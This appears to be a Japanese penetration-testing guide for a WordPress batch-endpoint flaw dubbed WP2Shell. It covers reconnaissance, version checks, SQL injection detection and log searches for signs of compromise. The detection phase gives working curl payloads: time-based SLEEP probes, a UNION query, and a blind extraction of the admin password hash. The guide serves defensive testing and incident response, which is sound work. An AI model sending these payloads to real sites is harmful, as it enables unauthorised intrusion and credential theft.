Phase 1: 事前情報収集
ターゲットがWordPressであるかを確認し、REST APIの可用性を評価する。
curl — WordPress検出とREST API可用性確認
# 1. WordPress検出(ジェネレーターメタタグ)
curl -sL "https://target.com/" | grep -oP 'content="WordPress [^"]*"'
# 出力: content="WordPress 7.0.1"
# 2. REST APIエンドポイント確認
curl -sL "https://target.com/wp-json/" | head -20
# 出力: {"namespace":"","routes":{"/":{...},"/wp/v2":{...}}}
# 3. REST APIの/usersエンドポイント公開確認
curl -sL "https://target.com/wp-json/wp/v2/users" | python3 -m json.tool | head
# 出力: [{"id":1,"name":"admin",...}]
判定基準
影響あり: WordPressバージョンが確認され、
/wp-json/ が応答を返す
影響なし: WordPressではない、またはREST APIが無効化されている
要確認: バージョン情報が隠蔽されているがREST APIは稼働中
Phase 2: バッチエンドポイント到達性確認
/wp-json/batch/v1 エンドポイントが到達可能かを確認する。このエンドポイントはWP2Shell攻撃の唯一の入り口である。
curl — バッチエンドポイントテスト(2つのパス)
# テストA: 標準RESTパス
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests":[]}'
# 期待応答: {"code":"rest_missing_callback_param","message":...}
# テストB: クエリパラメータパス
curl -sX POST "https://target.com/?rest_route=/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests":[]}'
# 期待応答: 同上
# テストC: 空ボディ(バリデーションエラー確認)
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" -d '{}'
# 期待応答: {"code":"rest_invalid_param","message":...}
判定基準
エンドポイント到達可能:
rest_missing_callback_param または
rest_invalid_param のレスポンス
エンドポイント到達不可: 404 / 403 / 接続拒否
WAFブロック中: Cloudflare/ModSecurity等のブロックページ
Phase 3: バージョンフィンガープリント
WordPressの正確なバージョンを特定し、影響範囲を判定する。
バージョン特定の複数手法
# 手法A: generatorメタタグ
curl -sL "https://target.com/" | grep -oP 'WordPress [0-9.]+'
# 手法B: README.html(デフォルトで残っている場合)
curl -sL "https://target.com/readme.html" | grep -oP 'Version [0-9.]+'
# 手法C: REST API /wp/v2/settings(認証が必要だが試す価値あり)
curl -sL "https://target.com/wp-json/" | grep -oP '"version":"[^"]*"'
# 手法D: wp-includes/version.phpの静的ファイルアクセス
curl -sI "https://target.com/wp-includes/version.php"
# 手法E: wp2shell-scanner自動判定
python3 wp2shell.py https://target.com
| バージョン範囲 | CVE-2026-60137 (SQLi) | CVE-2026-63030 (RCE) | 修正バージョン |
| < 6.8.0 | 影響なし | 影響なし | — |
| 6.8.0 – 6.8.5 | 影響あり | 影響なし | 6.8.6 |
| 6.9.0 – 6.9.4 | 影響あり | 影響あり | 6.9.5 |
| 7.0.0 – 7.0.1 | 影響あり | 影響あり | 7.0.2 |
| 6.8.6, 6.9.5, 7.0.2+ | 修正済み | 修正済み | — |
Phase 4: SQLインジェクション検出
CVE-2026-60137のSQLインジェクションを実際にテストする。author__not_inパラメータ経由で、バッチエンドポイントのルート混同を利用する。
⚠️ 警告: 以下のテストは非破壊的(データ読み取りのみ)。ただし、本番環境で実行する場合は事前に許可を得ること。
不正なパスを含むバッチリクエストを送信し、$matches 配列と $validation 配列のインデックスズレを発生させる。
curl — バッチリクエストでルート混同トリガー
# 不正なpathを含むバッチリクエスト
# 第1リクエスト: 不正なpath(WP_Error生成 → matches配列に追加されない)
# 第2リクエスト: 正常なpostsエンドポイント
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{
"requests": [
{"method": "GET", "path": "http://:malformed"},
{"method": "GET", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}}
]
}'
MySQLのSLEEP()関数を使って、SQLインジェクションの存在を応答時間で検出する。
Time-Based Blind SQLi テスト
# 正常なリクエスト(ベースライン)
time curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 OR 1=1"}}
]}'
# 期待: 正常な応答時間(例: 0.3秒)
# SLEEPペイロード(5秒遅延)
time curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 AND SLEEP(5)"}}
]}'
# 脆弱な場合: 5秒+の遅延
# 修正済み: 即時応答(author__not_inが整数に強制変換される)
Error-Based SQLi テスト
# データベース名抽出テスト
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 UNION SELECT database()-- "}}
]}'
管理者パスワードハッシュ抽出ペイロード
# adminユーザーのuser_passハッシュを1文字ずつ抽出(binary search)
# ASCII値が100以上か?で二分検索
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=char(97,100,109,105,110) LIMIT 1),1,1))>100,SLEEP(3),1)"}}
]}'
# 遅延あり → 1文字目のASCII > 100
# 遅延なし → 1文字目のASCII <= 100
判定基準
脆弱: SLEEPペイロードで応答時間が指定秒数遅延する
修正済み: 応答時間に遅延なし(
wp_parse_id_list()で整数化されるためSQLi不可能)
WAFブロック中: リクエストがブロックされ、403/ブロックページが返る
Phase 6: 侵害インジケータ(IoC)調査
サイトが既にWP2Shellで侵害されていないか、ログとファイルシステムをチェックする。
WebサーバーログでのWP2Shell IoC検索
# 1. バッチエンドポイントへの不審なPOSTリクエスト
grep -E "POST.*(batch/v1|rest_route=/batch)" /var/log/nginx/access.log
# 2. malformed path(http://: または http::)を含むリクエスト
grep -E "http://:|http::" /var/log/nginx/access.log
# 3. SQLiキーワードを含むauthor_excludeパラメータ
grep -iE "SELECT|UNION|SLEEP|CHAR_LENGTH|SUBSTRING" /var/log/nginx/access.log
# 4. wp2shellプラグインアップロードの痕跡
grep -E "multipart/form-data.*wp2shell" /var/log/nginx/access.log